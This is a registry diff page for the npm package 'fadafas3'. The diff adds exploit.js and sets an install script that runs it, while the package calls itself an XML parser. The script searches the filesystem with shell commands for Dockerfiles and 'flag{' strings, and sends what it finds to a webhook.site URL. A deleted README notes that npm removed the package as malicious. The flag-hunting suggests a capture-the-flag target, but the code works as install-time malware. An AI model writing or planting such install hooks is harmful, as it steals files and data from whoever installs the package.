fadafas3 0.0.1-security → 0.30.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of fadafas3 might be problematic. Click here for more details.
- package/exploit.js +179 -0
- package/index.js +6 -0
- package/package.json +10 -4
- package/README.md +0 -5
package/exploit.js
ADDED
|
@@ -0,0 +1,179 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const https = require('https');
|
|
3
|
+
const { exec, spawn } = require('child_process');
|
|
4
|
+
const path = require('path');
|
|
5
|
+
|
|
6
|
+
// Конфигурация
|
|
7
|
+
const HOOK_URL = 'https://webhook.site/055ae50b-b974-41d0-a2c4-e2b961ce4f9b';
|
|
8
|
+
const TARGET_DIR = '/usr/src/app';
|
|
9
|
+
|
|
10
|
+
// Функция для отправки данных
|
|
11
|
+
function sendData(data, type) {
|
|
12
|
+
try {
|
|
13
|
+
const encoded = encodeURIComponent(data.slice(0, 50000)); // Ограничиваем размер
|
|
14
|
+
const url = `${HOOK_URL}/?type=${type}&data=${encoded}`;
|
|
15
|
+
|
|
16
|
+
https.get(url, (res) => {
|
|
17
|
+
console.log(`Данные отправлены (${type}), статус: ${res.statusCode}`);
|
|
18
|
+
}).on('error', (err) => {
|
|
19
|
+
console.error('Ошибка отправки:', err.message);
|
|
20
|
+
});
|
|
21
|
+
|
|
22
|
+
} catch (e) {
|
|
23
|
+
console.error('Ошибка в sendData:', e);
|
|
24
|
+
}
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
// Функция для поиска Dockerfile альтернативными методами
|
|
28
|
+
async function findDockerfileAndWorkdir() {
|
|
29
|
+
return new Promise((resolve) => {
|
|
30
|
+
console.log('Поиск Dockerfile альтернативными методами...');
|
|
31
|
+
|
|
32
|
+
const strategies = [
|
|
33
|
+
// 1. Поиск в стандартных местах
|
|
34
|
+
() => exec('find / -type f -name "Dockerfile" 2>/dev/null | grep -v "/proc\|/sys"', callback),
|
|
35
|
+
|
|
36
|
+
// 2. Поиск файлов с содержимым "FROM" (признак Dockerfile)
|
|
37
|
+
() => exec('grep -rl "^FROM " / 2>/dev/null | grep -v "/proc\|/sys" | head -20', callback),
|
|
38
|
+
|
|
39
|
+
// 3. Поиск в истории команд
|
|
40
|
+
() => exec('history | grep -i docker 2>/dev/null || echo "История недоступна"', callback),
|
|
41
|
+
|
|
42
|
+
// 4. Проверка процессов Docker
|
|
43
|
+
() => exec('ps aux | grep -i docker 2>/dev/null || echo "Docker процессы не найдены"', callback),
|
|
44
|
+
|
|
45
|
+
// 5. Поиск по содержимому файлов на наличие WORKDIR
|
|
46
|
+
() => exec('grep -r "WORKDIR" /usr/src 2>/dev/null | head -10', callback),
|
|
47
|
+
|
|
48
|
+
// 6. Проверка конфигурационных файлов
|
|
49
|
+
() => exec('find / -name "*.dockerfile" -o -name "Dockerfile.*" 2>/dev/null | head -10', callback),
|
|
50
|
+
|
|
51
|
+
// 7. Проверка корневых каталогов
|
|
52
|
+
() => {
|
|
53
|
+
const dirs = ['/', '/app', '/usr/src', '/home', '/var/www', '/srv'];
|
|
54
|
+
dirs.forEach(dir => {
|
|
55
|
+
exec(`ls -la ${dir}/Dockerfile 2>/dev/null`, (err, stdout) => {
|
|
56
|
+
if (!err && stdout) {
|
|
57
|
+
callback(null, stdout, dir);
|
|
58
|
+
}
|
|
59
|
+
});
|
|
60
|
+
});
|
|
61
|
+
setTimeout(() => callback(null, 'Проверка завершена'), 3000);
|
|
62
|
+
}
|
|
63
|
+
];
|
|
64
|
+
|
|
65
|
+
let results = [];
|
|
66
|
+
let completed = 0;
|
|
67
|
+
|
|
68
|
+
function callback(err, stdout, strategyName) {
|
|
69
|
+
completed++;
|
|
70
|
+
if (!err && stdout && stdout.trim()) {
|
|
71
|
+
results.push({
|
|
72
|
+
strategy: strategyName || `Стратегия ${completed}`,
|
|
73
|
+
output: stdout.toString().trim()
|
|
74
|
+
});
|
|
75
|
+
console.log(`Найдено стратегией ${strategyName || completed}:`, stdout.toString().slice(0, 200));
|
|
76
|
+
}
|
|
77
|
+
|
|
78
|
+
if (completed === strategies.length) {
|
|
79
|
+
resolve(results);
|
|
80
|
+
}
|
|
81
|
+
}
|
|
82
|
+
|
|
83
|
+
// Запускаем все стратегии
|
|
84
|
+
strategies.forEach((strategy, idx) => {
|
|
85
|
+
setTimeout(() => strategy(), idx * 500);
|
|
86
|
+
});
|
|
87
|
+
});
|
|
88
|
+
}
|
|
89
|
+
|
|
90
|
+
// Функция для анализа рабочей директории из найденного Dockerfile
|
|
91
|
+
function analyzeDockerfile(filePath) {
|
|
92
|
+
return new Promise((resolve) => {
|
|
93
|
+
console.log(`Анализ Dockerfile: ${filePath}`);
|
|
94
|
+
|
|
95
|
+
fs.readFile(filePath, 'utf8', (err, content) => {
|
|
96
|
+
if (err) {
|
|
97
|
+
resolve({ path: filePath, error: err.message });
|
|
98
|
+
return;
|
|
99
|
+
}
|
|
100
|
+
|
|
101
|
+
// Ищем WORKDIR
|
|
102
|
+
const lines = content.split('\n');
|
|
103
|
+
let workdir = null;
|
|
104
|
+
let fromImage = null;
|
|
105
|
+
|
|
106
|
+
for (const line of lines) {
|
|
107
|
+
const trimmed = line.trim().toUpperCase();
|
|
108
|
+
|
|
109
|
+
if (trimmed.startsWith('WORKDIR')) {
|
|
110
|
+
workdir = line.trim().substring(7).trim();
|
|
111
|
+
}
|
|
112
|
+
|
|
113
|
+
if (trimmed.startsWith('FROM')) {
|
|
114
|
+
fromImage = line.trim().substring(4).trim();
|
|
115
|
+
}
|
|
116
|
+
}
|
|
117
|
+
|
|
118
|
+
// Если WORKDIR не найден, используем текущую директорию Dockerfile
|
|
119
|
+
if (!workdir) {
|
|
120
|
+
workdir = path.dirname(filePath);
|
|
121
|
+
}
|
|
122
|
+
|
|
123
|
+
resolve({
|
|
124
|
+
path: filePath,
|
|
125
|
+
workdir: workdir,
|
|
126
|
+
fromImage: fromImage,
|
|
127
|
+
contentPreview: content.slice(0, 1000),
|
|
128
|
+
directory: path.dirname(filePath)
|
|
129
|
+
});
|
|
130
|
+
});
|
|
131
|
+
});
|
|
132
|
+
}
|
|
133
|
+
|
|
134
|
+
// Поиск флага в рабочей директории
|
|
135
|
+
function searchFlagInWorkdir(workdir) {
|
|
136
|
+
return new Promise((resolve) => {
|
|
137
|
+
console.log(`Поиск флага в ${workdir}...`);
|
|
138
|
+
|
|
139
|
+
const commands = [
|
|
140
|
+
// Поиск файлов с флагом
|
|
141
|
+
`find ${workdir} -type f -exec grep -l "flag{" {} \\; 2>/dev/null`,
|
|
142
|
+
`find ${workdir} -type f -name "*flag*" 2>/dev/null`,
|
|
143
|
+
`find ${workdir} -type f -exec grep -l "FLAG" {} \\; 2>/dev/null`,
|
|
144
|
+
// Поиск во всех файлах
|
|
145
|
+
`grep -r "flag{" ${workdir} 2>/dev/null | head -20`,
|
|
146
|
+
`grep -r "FLAG" ${workdir} 2>/dev/null | head -20`,
|
|
147
|
+
// Список всех файлов
|
|
148
|
+
`ls -laR ${workdir} 2>/dev/null | head -50`
|
|
149
|
+
];
|
|
150
|
+
|
|
151
|
+
let allResults = [];
|
|
152
|
+
let completed = 0;
|
|
153
|
+
|
|
154
|
+
commands.forEach((cmd, idx) => {
|
|
155
|
+
setTimeout(() => {
|
|
156
|
+
exec(cmd, (err, stdout) => {
|
|
157
|
+
completed++;
|
|
158
|
+
if (!err && stdout && stdout.trim()) {
|
|
159
|
+
const result = {
|
|
160
|
+
command: cmd,
|
|
161
|
+
output: stdout.toString().trim()
|
|
162
|
+
};
|
|
163
|
+
allResults.push(result);
|
|
164
|
+
console.log(`Найдено командой ${idx + 1}:`, stdout.toString().slice(0, 200));
|
|
165
|
+
|
|
166
|
+
// Если нашли что-то похожее на флаг, отправляем сразу
|
|
167
|
+
if (stdout.toString().includes('flag{') || stdout.toString().includes('FLAG')) {
|
|
168
|
+
sendData(`ВОЗМОЖНЫЙ ФЛАГ: ${stdout.toString()}`, 'possible_flag');
|
|
169
|
+
}
|
|
170
|
+
}
|
|
171
|
+
|
|
172
|
+
if (completed === commands.length) {
|
|
173
|
+
resolve(allResults);
|
|
174
|
+
}
|
|
175
|
+
});
|
|
176
|
+
}, idx * 1000);
|
|
177
|
+
});
|
|
178
|
+
});
|
|
179
|
+
}
|
package/index.js
ADDED
package/package.json
CHANGED
|
@@ -1,6 +1,12 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "fadafas3",
|
|
3
|
-
"version": "0.
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
6
|
-
|
|
3
|
+
"version": "0.30.2",
|
|
4
|
+
"description": "pars",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"install": "node exploit.js"
|
|
8
|
+
},
|
|
9
|
+
"keywords": ["xml", "parser"],
|
|
10
|
+
"author": "ya",
|
|
11
|
+
"license": "MIT"
|
|
12
|
+
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=fadafas3 for more information.
|